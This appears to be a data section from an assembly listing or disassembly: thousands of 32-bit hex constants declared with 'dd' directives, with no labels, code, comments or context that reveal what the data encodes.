dd 4A62005Bh, 0CB28F7C5h, 0CEF0487Ah, 800060B9h, 41750361h
dd 0B20F0AD3h, 908497Fh, 2468A16Ah, 0E1028AEFh, 0F76D5482h
dd 0B00858EEh, 297B12D0h, 32B8B4A0h, 62262A00h, 557624FAh
dd 3D5000F5h, 81E2071h, 1D240637h, 3808C80h, 90C76C38h
dd 1EC03C94h, 2714407h, 3057E510h, 800907C8h, 0B113741Dh
dd 0A7C3834Eh, 0C1E0F505h, 2FFCBF9Dh, 2C80B8DDh, 8F3284Ch
dd 3822BC4Eh, 1C501AD3h
dd 0A67C7B1Ah, 8AF4D321h, 17ACBA57h, 0D3A02CAEh, 0DCC41B01h
dd 7B89F1D9h, 4A481FD0h, 7728C8A9h, 0D734B904h, 0E890BF90h
dd 2EA897EFh, 40105F7Fh, 21FCC891h, 55631C19h, 202A2770h
dd 89F806B4h, 0AC92702Ch, 51010211h, 36086FF6h, 7CF8205Ah
dd 5731BE64h, 0D215BC87h, 94D0C718h, 838B8860h, 0C35F3B12h
dd 4405A8F0h, 540521FDh, 6DB62808h, 0FDC88CCh, 4FF04E97h
dd 0D987B72Bh, 0BE608FABh, 0C6408360h, 64145228h, 999D8F03h
dd 8338D9A9h, 82C5C255h, 429C8908h, 1005A20h, 0AC070BE5h
dd 0C40F68AEh, 6EF4A47Ah, 92258827h, 40205628h, 676AFA9Ch
dd 3400BAB8h, 406D7E1Eh, 4CA8D08h, 0DA5A5C1Fh, 24B7C1F2h
dd 889BEB21h, 0AD8B84F8h, 0FC1BCD03h, 0D5A68CF5h, 600068A2h
dd 0A355BB5Fh, 5D0089B3h, 9DC29462h, 917A363Bh, 8C1F18h
dd 37CCE773h, 0EC02FBAFh, 0F6335925h, 7368A070h, 1D3161C3h
dd 777E80Ch, 37CFEB52h, 28BAF28Fh, 0E76590C1h, 732790BFh
dd 0C704C056h, 0BBBFD9EFh, 219F3082h, 72CB6558h, 0D88801A0h
dd 82F4FE0Ch, 952C442Fh, 0C1D566Dh, 3820F897h, 148EFDh
dd 0EC525F30h, 0E63BCB4h, 40019B7Eh, 202F655Dh, 5879D448h
dd 46563809h, 0E7D1490h, 7EE5390Eh, 48D460DEh, 1E17497h
dd 528A9813h, 7388296Ah, 205BD0h, 0A0A580h, 9B2D642Ch
dd 0BC99CB15h, 6632312h, 0FBA77805h, 1822A835h, 0FA884095h
dd 0D735E97h, 69A0B80Ch, 3A5E00A8h, 2396111Bh, 0BC740057h
dd 47916AC1h, 0AA301C2Dh, 2810299Eh, 78C75820h, 202BBC55h
dd 0F507FA8h, 4BA3B700h, 2941138h, 0D4670A56h, 42091A9h
dd 0A0C52030h, 16422664h, 1F1FFA21h, 9002E112h, 0A46ADF13h
dd 0BF407380h, 0C487F3EEh, 3BE82F00h, 0BB9E42C5h, 742C1D71h
dd 0F90E78E5h, 4B248B6Eh, 98B8F03Dh, 86117F42h, 3FBF2C9Ch
dd 63830C07h, 991F69FFh, 64300658h, 9C5B5095h, 0B432F71Dh
dd 8FC12101h, 0BE2ED5A9h, 0E478C518h, 0AD182575h, 0A1072466h
dd 39DB33A2h, 2CFAAF00h, 0C37A00F9h, 0F68FC7BFh, 7802F192h
dd 52C058A2h, 794042FFh, 809364h, 0DD1F2F41h, 56125097h
dd 8CD09DA9h, 99194D8Bh, 0E1A0810Ch, 0C14F57BEh, 46C8E158h
dd 97423808h, 2B87940Eh, 25B0714Ah, 0CC009C12h, 8DE275ABh
dd 80A5D83Dh, 31F7638Ah, 0B00D59BEh, 40E0B9FCh, 0C5840558h
dd 53439E00h, 0C335A739h, 0DD6E0F5Fh, 0CEEF6101h, 4AB39A4Fh
dd 64C894FCh, 0A828607Eh, 2F11C0B2h, 77615B80h, 9A8CD600h
dd 164268CCh, 0A51C01BBh, 89D4CE55h, 40BC592Ch, 84F84ED4h
dd 694D188h, 5D4C482h, 69F85924h, 8AA0295Bh, 65045BFEh
dd 0A9FCA01Ch, 32478001h, 0E02B8828h, 308C163Eh, 585560F8h
dd 0F112EC00h, 4AACF323h, 0A75101F0h, 4F8FCA4Dh, 3C54EC47h
dd 87240615h, 0F91D0EBCh, 0F0F6920Ah, 5FB1F402h, 68E157D5h
dd 0B363F239h, 1C6B3821h, 0B8132205h, 64C892A9h, 144A357Fh
dd 1FCCE0D9h, 91633C01h, 57698DD7h, 7F7D6E0h, 8F2FDA37h
dd 0AFF61020h, 260487B2h, 0CAEC5028h, 17000A9h, 0B90FF4D0h
dd 4496A957h, 8074AC78h, 71F7247Dh, 0ED831DC8h, 99B5421Eh
dd 505CB004h, 9F47B80Fh, 5114C8A7h, 0B19703F4h, 0CB76BE5Ah
dd 80094CBh, 396F7526h, 12975F88h, 89AA89BDh, 0EE4800ACh
dd 15385EAFh, 0D78F89A7h, 38D2A0h, 685A7CD6h, 0C4734C19h
dd 0B91C5315h, 3B9B0010h, 45D15AF0h, 2C84E9BFh, 0B4A7DC5Ch
dd 0D0008C20h, 0BCB60526h, 7319CEF8h, 909AF4FEh, 0D67D174Ch
dd 0C6F0700Fh, 0ED003E94h, 9EE56C27h, 2693EF0Eh, 177AD6C0h
dd 7A44095Ch, 837B7782h, 93109051h, 8BF52880h, 6E4E031Dh
dd 0BF20B081h, 0F902830h, 0B83C24D1h, 0E00C3017h, 2F381A05h
dd 0D3860016h, 834B3F72h, 6327827h, 9B20476Dh, 184AB03Eh
dd 207CC822h, 0C88A7B27h, 2933C93Eh, 8E124495h, 0A2992C04h
dd 479AAC00h, 0C4647F7Bh, 0DCC2B598h, 0A4A0247Eh, 1400C548h
dd 4B33AAEh, 2406494Ch, 84B8861Dh, 0E27F7A03h, 2E4C01B4h
dd 8B4F2106h, 34238461h, 661F0F00h, 90A6C7D2h, 48EFF102h
dd 7C2B4CC1h, 5980306Ch, 132F081Dh, 0F4E8309Fh, 0C1523C29h
dd 567C5500h, 0EDFED8D4h, 0E24C8E3Eh, 0B833E90h, 0E0090464h
dd 806DEBD7h, 29A303E9h, 8F840058h, 0CC439AB9h, 0F818B018h
dd 0F7B00E4Ch, 0A0038089h, 4CA30825h, 0C9790040h, 900C13A7h
dd 0A301228Fh, 0CAE7BD2Dh, 7EFE3864h, 2FD2408Ch, 5B091521h
dd 7C8495h, 0A6CDA2F0h, 46ED428h, 989DD913h, 0B07846Ch
dd 0A3CA9892h, 0F8B859A0h, 2C61078Eh, 45B5C791h, 1C6F8203h
dd 0A0E8B4F2h, 20475327h, 0B9420724h, 13C800DDh, 571636C0h
dd 0F7132CBBh, 14A4B70Bh, 720A024h, 68800721h, 0C41FBA91h
dd 252881D7h, 849A1111h, 1A000608h, 572128D9h, 91F9599h
dd 0DF54C32Ch, 50059C50h, 5AB6CDA9h, 0F0CCBC85h, 166077C0h
dd 8FEED1h, 86154ACh, 54B0F844h, 90EDBA00h, 785A593Ch
dd 0C00E41CFh, 6D69830Dh, 70108C70h, 0D76100C0h, 7D958ECh
dd 0E0724AAh, 8A4580BEh, 2C25440Fh, 48A74ECh, 743D80C8h
dd 0B4C0ED0h, 8647D900h, 66F982BBh, 988BF2D3h, 0EEED078Ch
dd 2716908Ah, 67F7931Fh, 98127F0h, 7AE6A801h, 7882D08h
dd 841C0D1h, 1440CF20h, 1E161F28h, 2D0596EFh, 0FC001C6Ah
dd 294298A3h, 0F91BEE3h, 21631420h, 0E8375692h, 1088030h
dd 537882E5h, 2167EE3Fh, 889828C8h, 0FD2FCE95h, 2CA1E820h
dd 0EE00C660h, 0F7F3D8C8h, 1C425546h, 45E6EB4h, 987B6862h
dd 92193FCCh, 0A70858EFh, 0E30C402Ah, 4A73F6AAh, 0BB76A00h
dd 0B23F9966h, 0C1071602h, 5D4A1D3Dh, 85F0C3Eh, 36171308h
dd 8890597Ah, 25F20709h, 8C469EAh, 19544402h, 0C04AC38Ch
dd 130E02h, 14EA1DDh, 396465B8h, 83A61A02h, 54624333h
dd 0D030DA4h, 5C213E41h, 433017B9h, 298300F4h, 4E2140F3h
dd 0E40EE78Fh, 0CC2389BAh, 95FF417Fh, 56B59C21h, 540E3B93h
dd 0C003088h, 38CF7BC1h, 0E14CFF75h, 2BC2C014h, 7C551CEBh
dd 0C3300022h, 7F4042E6h, 4177EE0Eh, 78DE1B00h, 0E4345DB6h
dd 1A1F0527h, 20A88B5Fh, 0ECD922D4h, 0BB975D28h, 8FA98C13h
dd 2029BC20h, 0A0C3125Ah, 8608A0F0h, 0B442A145h, 838B2088h
dd 0B324323h, 99FDD00Ch, 7710AC88h, 0F758ED3Ah, 0F85C009Bh
dd 9D024625h, 0CDA948A6h, 8AAFE300h, 9B9156D0h, 2427FC0Ah
dd 368E5463h, 553AE0D9h, 9DFFAA4h, 0AC27E059h, 0C1C0E004h
dd 317AD004h, 5B3196B1h, 4E62F41Fh, 0F6D440A8h, 54A902EAh
dd 0D4CD2A01h, 0CAA0456Dh, 50AAF2DCh, 8B022446h, 0A0DA9BD2h
dd 7C9989F8h, 0C0D04817h, 98C24Ah, 5FDF0C73h, 0E9189360h
dd 63B98A0h, 64262827h, 221142D4h, 0BBAC00A5h, 9ACE0C97h
dd 9C002BF9h, 4828D66Ch, 4AD7AD2Ch, 0EC94D047h, 0DF005B3Dh
dd 0E86BE283h, 68A7D40Dh, 6094E08Eh, 316A9AC5h, 643A300h
dd 54932C12h, 78B44C36h, 0B76D8000h, 70B57DC4h, 10B7B7B0h
dd 988F9978h, 0B70D1658h, 0F12020A7h, 1401C8A0h, 12CF0FA9h
dd 0E7FC8B9Eh, 20EE4BE5h, 794E2C1Ch, 0ED89C400h, 8233AAB5h
dd 34E501B8h, 1E29C9BBh, 744CFDC7h, 0DD3073FCh, 0F2206857h
dd 772A0103h, 15023A07h, 7B4C70C0h, 7A37AF0Ah, 483E507Eh
dd 93BC908Ch, 2190780Ch, 932717B5h, 0D858A1B7h, 0F74A788Ah
dd 45C4DC40h, 965C0Eh
dd 294D72B7h, 8F5274Eh, 22BE5Ah, 1EF41BFDh, 70C74FDh, 28DA0F1Fh
dd 34922788h, 66002413h, 2E40691h, 5B8566h, 8128C16Ch
dd 2FAB932Bh, 1C84BCA2h, 201D22B2h, 43B1FB86h, 3928C900h
dd 85C5D8B6h, 488B9029h, 942D7092h, 0E04B460h, 842171C9h
dd 84081ACh, 0E32BC0D7h, 61F450Eh, 0DCE273F6h, 3D070C38h
dd 0F9942C83h, 6F0764F1h, 0F1B5DA64h, 278AC400h, 131BD62h
dd 0BB3FE78Ch, 0DDE3129Eh, 5D8BF4D1h, 64286F2Fh, 19140038h
dd 5E65834Ch, 0B9E8AC7Dh, 0AD450C98h, 5EB4202Ah, 42001DC7h
dd 0F0F39298h, 9E3163Ch, 8A03ACB0h, 1D145464h, 700806h
dd 802268F0h, 907F303Dh, 0A2973A10h, 8C1161ADh, 644C009Ah
dd 4C275855h, 0F7541777h, 0B488907Dh, 6FF61B57h, 517FD0FEh
dd 3962BF00h, 12348A80h, 674F1EEAh, 855C002Eh, 97F7B05Fh
dd 1104B75Ch, 0A0187696h, 0FF5F9906h, 40FFF574h, 627B16F1h
dd 0C0B1080Eh, 0FACEA90Ch, 0B5DE0CCh, 0B28A8511h, 0A2BD9002h
dd 84442466h, 0BEB50127h, 0EB6296Fh, 73991198h, 20785A7Ah
dd 44000476h, 5C7FEF9Bh, 3C310C9Dh, 75186FF9h, 201A3607h
dd 172A328h, 602CD4ADh, 0DF13EB15h, 0C6000FECh, 0BF42AC6Bh
dd 1122495h, 7BA40738h, 0FCB7F5D2h, 0CC920F09h, 18DD5300h
dd 0E9642546h, 0C2C1008Fh, 0FFD86235h, 0F4B66E4Eh, 0B0258240h
dd 0F00A01A4h, 2605170Dh, 5E647224h, 0D7959430h, 4C7301D8h
dd 0E3F9730h, 0BFF5D02Eh, 0F25F4EEh, 4D0C294h, 0FE408590h
dd 7B6F53BAh, 0D1247E51h, 0E0226F9Ch, 21261188h, 21E84E00h
dd 0CC2844D5h, 26007D94h, 5EED7CEBh, 4E473205h, 0D1C0D717h
dd 0C0C76699h, 0F05B15D7h, 0AA8CC8h, 7EA3F4ACh, 2506C4A4h
dd 0C5BC7100h, 6DDEFF89h, 0DBF2E57h, 0CA82171Ah, 529412D4h
dd 0CC6EA000h, 99DCFAAh, 0C9FA1FFBh, 921CA881h, 4C90E3D2h
dd 1500F5ACh, 37F4D160h, 127CFBBFh, 0C8124886h, 0D31DDCF0h
dd 5D805933h, 0C7C6FFE2h, 135E04B5h, 0CC155B03h, 4A000980h
dd 0DC6FF8D4h, 134E2DD6h, 0A043AF7Ch, 11EB9254h, 0BC73847Ah
dd 13054912h, 1EA0B0CCh, 101D3F44h, 179EFFFEh, 4830BFACh
dd 7126700Dh, 1AFC3A1Fh, 3FE37300h, 256249C1h, 14519005h
dd 880AD2AEh, 4647B848h, 36BD80CBh, 5B586A79h, 0E760CC1Fh
dd 65F73400h, 31DE8A8Fh, 3677285Fh, 4C75F8F4h, 154C4357h
dd 4AAF4800h, 646C9F91h, 40F5FD27h, 620E8h, 0E825CBE3h
dd 34E2BE28h, 0E1BC831Fh, 11807C4Dh, 8405839h, 0FD1602FBh
dd 201E0595h, 0FEE0D85Ch, 0E385B4Bh, 0EA9DE01Ah, 80418F24h
dd 714479D8h, 0A342ACB0h, 8B9A007Eh, 0A5076F90h, 4B1297A2h
dd 0B89719DDh, 0D6558F82h, 0D5A1400Ch, 91015196h, 9B2BAC88h
dd 0D46943D4h, 333EB280h, 60FAB17h, 0A05C50BDh, 0BE42A64Fh
dd 77F60226h, 2094EF59h, 9E043C54h, 780787A5h, 7859896Fh
dd 7B2FDCA8h, 4890C49Eh, 784499FDh, 452E0E8Ah, 8880FC8Eh
dd 6409CD50h, 5A14C04h, 60ADA723h, 0BAA50800h, 0BFC0CA1Dh
dd 0B9606C94h, 277AF89Ah, 54A45C7Dh, 6C4A4013h, 7D55D218h
dd 4B78BC7Bh, 230AD5F6h, 383C3085h, 0A488CB76h, 990F0083h
dd 5CC3E6B8h, 0A500FA32h, 86C775F9h, 0B28F62Ah, 31D6BF5h
dd 2872AA0Bh, 5A297009h, 1C5246h, 0B9B5E555h, 0C9E1736Dh
dd 67537700h, 0A0F5D6C2h, 7A2B0324h, 29694C76h, 502245CBh
dd 0DCB9533Eh, 721B1E00h, 1FC092F5h, 0FC91AA74h, 4E03A426h
dd 8820C76Fh, 164278F9h, 20A16C5Eh, 1F49E07Ch, 6A1DA477h
dd 1E80ED7Ah, 0AA8883FCh, 0A4D05234h, 9A500170h, 1DBE5870h
dd 4F4C32FAh, 1B0488h, 0F3E8B52Fh, 1166A089h, 0B02EBA26h
dd 1487970Bh, 5A73006Ch, 0DC2B5B0Dh, 2E027594h, 47B03B31h
dd 5350C064h, 927B000Ch, 0FBC4EEDAh, 973B6280h, 0DC580089h
dd 18FAAD07h, 0D2E1EFA5h, 4EAEC3E0h, 9CA80430h, 808B4088h
dd 257A9055h, 0C081C97Ch, 3FFF6653h, 88AC8428h, 67F3209h
dd 46CFBF03h, 0B07CC112h, 193D080h, 0ABEB0C9Eh, 759A751Fh
dd 0CA34D0CCh, 294FE52h, 508C6D56h, 80187CC6h, 9DB18968h
dd 21002F28h, 7B22615Bh, 27303682h, 0E046AA20h, 0F842A722h
dd 0E45F529Eh, 0ECA0A927h, 55A73B82h, 0B1294800h, 5836914Fh
dd 94435852h, 5100B042h, 3E3A29Ch, 0C70099BEh, 453AEF0Fh
dd 1F6FED5Ah, 16A02E8Bh, 21FC206Bh, 802E726h, 2CA8CAAh
dd 602C56F2h, 0C6C74578h, 27B4338h, 5582499Ch, 0ACAC4109h
dd 408A1F08h, 678C32h, 7C4D20CAh, 93F057B1h, 901FBB02h
dd 6A061AD4h, 19C7E48h, 0A9786444h, 0E00B219Fh, 512D001h
dd 18312430h, 693095D7h, 0E8500055h, 0EFB9804Ch, 70F1B681h
dd 1184FF84h, 206D114Dh, 0F91D2706h, 288470A9h, 7C032316h
dd 184F26E1h, 960F400Ch, 0A4BB9289h, 0C899BF82h, 53852A7h
dd 64188EA1h, 4508093h, 0F50035A2h, 0D236C34Dh, 0BCF4AF2h
dd 42482067h, 7A08D440h, 0FF86F17h, 625B9830h, 0C7161FA8h
dd 0FC35C072h, 0E58B261h, 5688AD04h, 8EC1EDCEh, 606C4581h
dd 5065A53Fh, 0EA108847h, 0B2959200h, 0BBD8B110h, 0EF0F263h
dd 576FA93Ch, 1A9C0C16h, 19482171h, 0D9811263h, 0A43E98A2h
dd 7773CC80h, 53CE3B61h, 3D7FD00h, 0F7C002EAh, 0F229D367h
dd 1ABB0040h, 8A1D8E2Ch, 37073F3Fh, 0C10E27h, 0BEA0990Bh
dd 0C0080278h, 49A16F09h, 498545Bh, 0A2227FC6h, 90BE2D00h
dd 3456DE8h, 95D47686h, 91A82365h, 90027242h, 0DF662D4Ch
dd 50D0511Fh, 627631Ch, 0D0642928h, 3F785CECh, 0E0C1C827h
dd 22061017h, 2CC68A28h, 0DDD57D03h, 0D059444Ch, 7B1D17CDh
dd 19B11E2Fh, 0AB017ED6h, 0FA5478D2h, 28413E9Eh, 0F1A9FE70h
dd 0CC60F831h, 50163178h, 7382F521h, 32850090h, 1C1F6297h
dd 5808024Dh, 7D91A9C1h, 1D6234F4h, 47A05407h, 8938700Bh
dd 9E749863h, 0A154AA48h, 40704DC6h, 41CECF8h, 733676C0h
dd 1E90C24Eh, 12169851h, 0ECCF54C2h, 3CCC7E7Ch, 6081D449h
dd 2D2E6D09h, 0C8A431A1h, 4B2C7D7Bh, 16E49413h, 5041D42h
dd 0F228A891h, 0A2E29D2Fh, 0FBBC0704h, 0C8264708h, 0CEFF6F82h
dd 2EF0C4BFh, 0E0807D0Ah, 0CE822280h, 8869E907h, 0B2C0FB2Fh
dd 0BAA4B03h, 65594A9h, 0F19BFC48h, 0A2A9890h, 9A2E8C11h
dd 0D806AB92h, 4068DBAEh, 77510EA6h, 0AC4C0154h, 51242025h
dd 84F02712h, 90FC7C22h, 0B1422B4h, 99A95563h, 6B0000E5h
dd 9D496966h, 700D48EBh, 0C238F52Ch, 7C6159ACh, 82D42958h
dd 0F42C2205h, 114F18h, 91F60FCh, 0D58F28h, 484F81E2h
dd 52A53558h, 0C065A89Eh, 0EE2548BCh, 1E0F74CCh, 27E83D0h
dd 63062B34h, 20695F05h, 790B3724h, 0AD1C40FCh, 0E161D5Dh
dd 0D4A89Ch, 0E123A66Ah, 1ABD492Ah, 719B600h, 736E52BEh
dd 8C433ED9h, 14B02301h, 2316A118h, 6E760FC0h, 2F49A08Fh
dd 2D203F5Dh, 9C44C7F0h, 5912C007h, 0FF87FB8Eh, 802A885h
dd 0D9302724h, 9B510E74h, 0AA80CDCBh, 4CFCF41Fh, 12013FE4h
dd 0C6AC6FF5h, 3034683Eh, 0FDD007Bh, 1EBF89AFh, 813F48FFh
dd 7525847h, 0BA0703F7h, 16600EC9h, 98605CB1h, 35E7FE0h
dd 15CE66A9h, 0C2C74BE2h, 0E869C9EEh, 18406A0Dh, 6F575AD8h
dd 3F78FA28h, 18D88C61h, 0AA09043Fh, 0D8598122h, 0E102AE00h
dd 0A550ACh, 0D48ED0B9h, 857C749h, 0AE975400h, 260A07A6h
dd 0C895A3h
dd 0E495818Bh, 989701C4h, 0A1676587h, 0AFD05007h, 77006B61h
dd 0E179C119h, 9ECEF0F4h, 0DFAA40D8h, 0F378571Dh, 42C2E1F5h
dd 6C51F808h, 2358803Dh, 895272Bh, 16D97891h, 1CEE22Ch
dd 4F8F2AFAh, 26C7217h, 1650980Fh, 0BF088710h, 3168B7C0h
dd 0C8BE38B9h, 1CEA0F7Bh, 49C0BAFEh, 361D05B0h, 4E0C31C0h
dd 5F96A9DBh, 0F3B81341h, 9DAA167Ch, 50E20825h, 0A3D3CF00h
dd 30639AD9h, 0DDC13C1Fh, 45801A00h, 2F9936F7h, 0A84237A8h
dd 0E8840809h, 16ACAC56h, 2EDD7h, 0E666BFB8h, 5D8000DCh
dd 0B4C96E63h, 7F289637h, 7BF60845h, 0C8CF7E4Eh, 0A0BBC112h
dd 99881214h, 233B8C6h, 0C11FC03Bh, 0C0DAA0B9h, 32BEA200h
dd 0B11DF814h, 0AB0A3A09h, 8A210077h, 0BE44B52Bh, 6122848h
dd 0BCC80E12h, 23E83A08h, 0D80AFD80h, 7BE7704Ch, 6D2F3Bh
dd 0C033CB9Fh, 65EFAF3Fh, 0BC20085Dh, 2A04809Ch, 0CC9993h
dd 0ABF26876h, 0EA20213Dh, 0C6C33Ah, 0BFC2FD35h, 9DB8DF6Fh
dd 3F80E830h, 9D8EDB04h, 98ADF7BCh, 9B00D458h, 0D8DD0A62h
dd 0E30B3916h, 5E5743Dh, 0A8ACCDCCh, 0A4A9B789h, 0ECDCD0C2h
dd 0A16170h, 4FA32183h, 5B4D560Dh, 8025AC94h, 90F4EAA4h
dd 7DD90017h, 16FDA5Eh, 1C48832Dh, 0F04FC00Ch, 4C59A5h
dd 0F9B522C0h, 8846BF11h, 4EB0E495h, 665CC303h, 0D61F7614h
dd 0BF060454h, 9CC295A2h, 10947EFAh, 82EC054Ch, 0B0850769h
dd 0C58FE4F8h, 2BD9A680h, 52382F81h, 74250018h, 628304FFh
dd 1FA31401h, 0CC5B30D2h, 0C0B02250h, 0ECC8555Bh, 90060615h
dd 0BCC9B1DDh, 46056200h, 8A3DE5CEh, 0A2344A92h, 0F1808904h
dd 7B950DD8h, 805017B8h, 3C35E6D6h, 0EB26A400h, 0EEBFA7BAh
dd 3D880A36h, 224C68Fh, 2145D82h, 63995CE0h, 0F756DD04h
dd 0C885D659h, 9B0138B2h, 0B1AA5F39h, 0AE5DF0A4h, 0D725491Dh
dd 0E7936282h, 8556612Bh, 57A1E83Ch, 277B3065h, 1C8C094Fh
dd 7AF822BEh, 3B872500h, 8EB3D45Ch, 43CA2599h, 70EF8844h
dd 65040E36h, 0CE6B8130h, 1E119080h, 0AF85257Ah, 0C499FC44h
dd 1FE0F360h, 0E6F51C89h, 1F805790h, 7A7D62B0h, 9C903899h
dd 3E402EB2h, 6201C9F7h, 39E654F9h, 3031CAACh, 20CE20DCh
dd 9F26378Eh, 0E200ACD9h, 0BEF0B378h, 0A001521Dh, 62F95100h
dd 674C6E7Bh, 17502912h, 0BE0B4CE2h, 0BC635657h, 21204AE8h
dd 38800D4Bh, 0F27ECA40h, 0C1F738C0h, 62085C4Eh, 0CE500F00h
dd 0F6D2C2EAh, 53CD015Bh, 1274A54Dh, 2F870C3h, 66812E00h
dd 1152283Bh, 0BD89003Ch, 9DC7E550h, 9A00D09Ch, 35DD58FEh
dd 120EEB6Fh, 4880B9h, 38F4AEC3h, 534B5990h, 0D94C1820h
dd 0E4770004h, 0B2F3F212h, 59054A54h, 0DF517B57h, 7DF9E486h
dd 0D0600001h, 248FB5E3h, 0B20F1453h, 1CDC22Bh, 76BDBB9Dh
dd 76480E8h, 829512DFh, 80FEC4CFh, 1B31A1A0h, 0B3095300h
dd 0E54D0C91h, 2DE0398Fh, 28685F00h, 8EC5AA21h, 9D6E8CFh
dd 956448A9h, 454FEB2h, 9652A05Ah, 0B8B7C0F2h, 0C2EA6FF9h
dd 15199C00h, 23D12048h, 45F8023Dh, 0F91FCA61h, 0AA090882h
dd 0BCE4148Bh, 0A5F9803h, 92EF7FA1h, 94905D25h, 334B8990h
dd 4E1DE4E4h, 0B84C4EF9h, 0AF58CBE4h, 6886001h, 10352423h
dd 5038FFF5h, 9C6F2588h, 0C8F85C22h, 88BB0516h, 82881B00h
dd 78E600AAh, 0CAE38EC2h, 5D0026E8h, 0D250961Ah, 48F192A9h
dd 8F04E8BAh, 0BE1177A7h, 0FF6A8862h, 6573B140h, 0D502E275h
dd 27D36104h, 4090FE81h, 2971CDC1h, 322674B8h, 0B6004C80h
dd 2E19D74Bh, 0E11C3C4Ch, 3FA63980h, 1D56539Eh, 0FADD14Ch
dd 6991CF76h, 57DC0E0Ch, 405EE8E2h, 2248CA4Ch, 810269F6h
dd 827A9057h, 3B2044E3h, 8B80CE62h, 6DE838EEh, 0D4A0896Ah
dd 0E4045CD1h, 857B5F78h, 0DFF428BEh, 79905326h, 49C38901h
dd 0DC74CB65h, 55E70F8Ah, 0E8F27B6Dh, 0D064A33Ch, 27D280AEh
dd 88C8A83Ch, 0D800605Bh, 5F71EB5h, 1905FE9h, 0CF682C8h
dd 0EC304794h, 0BE008FB7h, 65D9BDCEh, 6BFCA4Dh, 2074C5DAh
dd 5D0080F1h, 88300ABEh, 1C096D58h, 803F60A7h, 86FE5F5Bh
dd 17026880h, 8F91E010h, 527F60C1h, 10C981Eh, 4F39CE8h
dd 2356982Fh, 649A0000h, 0B22282D3h, 9727B71h, 7784AFE5h
dd 89F57400h, 20024945h, 3B3A65F9h, 14D12559h, 14417408h
dd 8298FD5h, 0A47F7A0Eh, 99CD896h, 0E979AE02h, 757BFF57h
dd 328FC411h, 1E40DDC0h, 3C943BCh, 0CFF41299h, 218CB9B8h
dd 0B27B1219h, 0B1E850B8h, 981E1F24h, 0CB868C50h, 0A890A131h
dd 0CE00FD2Eh, 72286049h, 9E213Eh, 15D26799h, 0E0F9A695h
dd 0AC335824h, 69041011h, 8276FA29h, 0A05E14A8h, 1F1B2EE0h
dd 0E2B100B0h, 0EEA5679h, 0EF04463Bh, 6DF85AA8h, 0ECA4ECC3h
dd 0ECB82480h, 471913CAh, 0AB2C0054h, 1F955EC9h, 2DE6A013h
dd 0BAAC88h, 68639F8Ch, 0E957CCBEh, 51C29500h, 8899C4EEh
dd 1D8FA41h, 2E088E9Fh, 840F2206h, 20DD0CB1h, 8AB405AEh
dd 3EE8E274h, 0F888DF6Bh, 8A963E0Fh, 4F956980h, 88B6C0EEh
dd 60D872CEh, 0B530F89Eh, 1C6490EDh, 75C92F3h, 0E090F6C2h
dd 0E5011EBCh, 6977E012h, 8B12D448h, 7C44D7C0h, 4102C571h
dd 0EC2F885h, 0BACD4136h, 0E0C427D0h, 0B4D7582h, 0D8A71FEBh
dd 310A2098h, 3C966700h, 6D9A51E1h, 45E602C4h, 8030546h
dd 77522DE0h, 987FC0Eh, 908B431h, 5129019Fh, 0A16F00ECh
dd 0D7FFF0D6h, 31EDEF00h, 0EEE49F27h, 8EB8B9C8h, 54215BC2h
dd 0A0D18753h, 0F64F0860h, 86F0C020h, 91C79A4h, 3705759Dh
dd 88AC6476h, 0C42F6809h, 16E0007Ch, 24A06D2Ah, 7C00C550h
dd 95CD04B7h, 2B0A8AFh, 20DEDD36h, 7858EB25h, 51340700h
dd 7A617216h, 23CB07CFh, 807F15E8h, 990FF6BCh, 59575327h
dd 56B589CCh, 11F0C086h, 0C0222EE1h, 5034D492h, 3E3C9686h
dd 0B8EF8037h, 70E36ACBh, 12050090h, 0EE2028D5h, 7F2DA697h
dd 0C694115Dh, 8A632C00h, 7A348206h, 14E9B07Ch, 347791AAh
dd 69000922h, 0C6466675h, 194A7802h, 380BC58Bh, 0F48214A4h
dd 0A08743CBh, 947E23CEh, 0FE03E1A0h, 242B6E04h, 9EFE0208h
dd 900208A4h, 466FF54Dh, 7EEB1DFCh, 5007F848h, 0C0D62F5Eh
dd 3FED282Dh, 0D27A9B00h, 4D328D56h, 0B9A498F8h, 2F601078h
dd 85B440EDh, 2857899Fh, 0C7EF10DCh, 0F7CB8880h, 98A2C591h
dd 7442DCE2h, 0CC3CC416h, 0A1F60051h, 31080441h, 0FDF71311h
dd 2124F0D7h, 7D0410B7h, 0A4614CCCh, 52EADD00h, 3EC1532Ah
dd 0EC763816h, 0E0D8A30Ah, 1F288039h, 0FD54FE20h, 0CD632EBFh
dd 48E84028h, 4F008C6Bh, 9FC8560Fh, 0A8909Dh, 0E6D71E83h
dd 8615F80h, 6032BF2h, 9077AEB0h, 0D826E1A0h, 8F20813Ah
dd 181E1588h, 0E0481064h, 6F409C02h, 0B5D46C28h, 0E6171890h
dd 0C11DFE72h, 0D9401F57h, 281EC7EEh, 66532F6Bh, 79C6A8E0h
dd 689D1500h, 760E7435h, 203E00AAh, 9B6981D3h, 0A90060C9h
dd 7B3507FBh, 5F8896h, 8E25153h, 588B9FCBh, 0FA201E12h
dd 7842581Dh, 60D6C309h, 0F81FF181h, 0A5BA09FBh, 5870894Eh
dd 89E38F3Bh, 0D1380474h, 0C0761D3Ch, 17CF3AA8h, 0DC00942Fh
dd 99AF27E9h, 1556FAAh, 399D5E0Ah, 2A451078h, 60110CCBh
dd 0C6842DD9h, 1F9018C4h, 0F44DC006h, 4350EC97h, 0B8205F5Ch
dd 1334125h, 4FD4D721h, 2B2C05F5h, 69F428h, 5878D084h
dd 9A4925C5h, 96B0352Dh
dd 9F8C9824h, 0B0A75092h, 85A27561h, 0C2B032F0h, 88136B04h
dd 88003AF8h, 3D15FE22h, 19C8261h, 37348FFh, 24432FB4h
dd 1D886EE0h, 7E3CA2FCh, 0BC291234h, 83D2B1C0h, 65805EAh
dd 78744180h, 0AE087009h, 0C1E40788h, 0F0B440ABh, 56B20099h
dd 448DF21Fh, 292D4E26h, 132091BEh, 0FF061D10h, 924098B7h
dd 0FE8C90B4h, 0F9270BACh, 0CD3E4FEh, 66EFB802h, 880880CAh
dd 0F2896E4Fh, 9704FF7h, 0D0E4D0B4h, 80F3963Dh, 0FB44C67Fh
dd 3E2551Ah, 40192488h, 0FEE8C317h, 0A94F2808h, 0BBB6EC90h
dd 65610089h, 0D68594F7h, 5004DA97h, 156C1796h, 5600F4E2h
dd 8D5C594Ah, 830FEB05h, 0E73B77C2h, 0F8C00FAAh, 4E7D7B6Fh
dd 8B6824B3h, 20E40034h, 838DAEFh, 2BD0B7A1h, 14D15F2Ch
dd 88A1124Eh, 11650810h, 0F75B2E6Dh, 0A8121278h, 3269A0A8h
